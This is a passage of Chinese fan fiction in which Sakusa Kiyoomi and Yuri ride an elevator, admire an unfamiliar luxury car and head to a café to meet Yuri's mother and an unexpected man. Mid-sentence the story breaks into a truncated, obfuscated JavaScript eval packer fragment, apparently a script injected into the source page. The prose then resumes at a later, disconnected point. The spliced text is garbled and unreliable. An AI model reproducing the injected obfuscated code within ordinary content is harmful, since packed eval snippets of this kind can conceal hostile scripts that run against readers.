佐久早说:“我后来想了想你说的话,一个人的对象的水平确实会让别人联想到她的审美水平,为了表现出你的审美水平十分优越,我当然也不能太差。” 这岂止是不差,简直好到不真实了。 一直到两人一起进入了电梯,由里还在在电梯光洁的镜面中继续看着和平时截然不同的佐久早。 “你有必要一直看着我吗?”她的目光实在太直白了,佐久早没过几秒就察觉到了她的视线。 “喔,对不起。”由里收回了视线,垂下头看着地板。 “我没有不让你看。”他又说。 那到底该看还是不该看啊?由里犹豫地抬起头,在镜子里和他对视了。 佐久早一脸不高兴:“你平时都不会这样看着我的。” 由里小心地说了声:“哎?” “你只喜欢我打扮之后的样子,”佐久早说,“你是那种只看脸的人吗?” “不是啊,臣臣你平时也很帅……”由里意识到不太对劲,“不,臣臣你是一个内外兼修的人。想要像臣臣一样迷人,内在和外在是缺一不可的,臣臣你别走啊……” 佐久早回过头看着她,脸上分明在笑着:“电梯开门了我为什么不能走?” “喔……还真是。”由里赶紧追了出去,“只是我们平时都有自己的事情要做,我也不能总是追着臣臣到处看吧。” “我知道,看你好像很紧张随便说的而已。”佐久早走在前面,用钥匙打开了车门。 随便一说就这么让人紧张兮兮,哪有这样的事情啊?由里跟在后面,却发现眼前的景象和平时好像不太一样。 虽然车位还是佐久早的固定车位,但是停在车位上的车却是一辆完全陌生的车。 由里望着这辆一看就价值不菲的豪华跑车,再次瞠目结舌:“臣臣,虽然我已经知道你家里很有钱了,但是你也不需要为了我的事换一辆车吧……这好像是我需要花一辈子还钱的那种价位的车。” “你不需要还钱,我也没有换车,这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这就是为什么我要亲自去而不是让大阪分部的司机去,”他一边擦一边回答,“除了像你一样对体育赛事毫不关注的人,其他人应该都明白花钱请不到佐久早圣臣选手来代驾。” “臣臣你明明也只关注排球赛事,之前真希姐姐说的那个选手你都不认识。” “现在还不认识,但如果他也被国家队选中的话早晚会认识的。” “臣臣……帅到有点可恶的程度了……” “你说脸吗?”佐久早终于完成了他的消毒,启动了这辆车,面无表情地评价道,“现在才发现是不是太晚了,你拿的还是艺术学士的文凭呢。” 佐久早停好车,像他们之前约定的那样为她拉开车门:“你一个人去可以吗?” 由里点点头:“当然啦,臣臣有什么其他事情的话也可以先走。” 正说着,她和咖啡馆里的女人对上了眼。女人招招手,她留意到她的旁边还坐着一个人。 那是一个男人,看起来和千洋年纪相仿。 千洋的编辑是樱小路,樱小路说过今天不会过来参与由里和母亲的私事的,也就是说这位男士恐怕也不是出于工作需要才出现在这里的人。 佐久早顺着她的目光看过去,显然也意识到了当前是怎样的情况。 他背过身,把由里遮挡在自己的身前:“看来今天不止一个人有意彰显自己的审美品位,你怎么看?” “臣臣你要是没什么事情的话……” 佐久早把车门关上,用钥匙上的遥控器锁上了车。 “走吧。”他说,“我们一起。”